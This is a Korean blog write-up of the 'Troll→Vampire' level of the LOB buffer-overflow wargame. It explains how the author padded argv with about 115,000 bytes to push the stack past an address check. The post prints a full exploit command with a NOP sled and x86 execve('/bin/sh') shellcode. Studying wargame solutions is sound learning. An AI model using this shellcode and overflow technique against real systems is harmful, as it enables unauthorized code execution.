LOB : Troll→Vampire

LOB 2018. 4. 9. 15:54


이번 문제는 제약이 많이 사라졌다

argv의 글자수 제한도 없고 buffer을 비우거나 argv를 비우지도 않는다.


그 대신 argv의 47번째 글자가 ff면 안되게 되어있다



스택의 구조를 생각해보면 생각보다 간단한 문제다. 버퍼를 계속 늘리면 스택은 위에서 아래로 자라기 때문에 bfffffff에서 점점 작아져 bffeffff까지 쭉 내려올 수 있을 것이다.


그만큼 가려면 글자가 얼마나 들어가야되는지 알 수 없어서 일일히 넣어보면서 확인했다.





15000자로는 터무니 없이 부족하길래 앞에 1을 하나 더 붙혔다.





이번에는 주소가 0xbffe3930까지 내려온것을 확인했다. 그래서 115000개를 넣기로 하고 코드를 짜 보았다. 0x90을 쫙 채우면 어차피 NOP슬라이드를 타고 쉘코드를 실행하게 될 것이므로 


./vampire `python -c 'print "A"*44 + "\x30\x39\xfe\xbf" +"\x90"*30 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80" + "\x90"*115000'`



이렇게 실행했더니 여전히 세폴이 뜨더라..




그래서 코어를 한번 더 보았다. 그랫더니 코드의 byte수가 바뀌어서 그런지 0xbffe3900까지 내려가있음을 볼 수 있다. 안전빵으로 0xbffe3910으로 설정하고 돌려보았다.





쉘을 획득했다.

'LOB' 카테고리의 다른 글

LOB:Skeleton→Golem  (0) 2018.04.10
LOB:Vampire→Skeleton  (0) 2018.04.09
LOB : Orge→Troll  (0) 2018.04.09
LOB : Darkelf→Orge  (0) 2018.04.09
LOB : Wolfman → Darkelf  (0) 2018.04.08
블로그 이미지

천재보다는 범재

,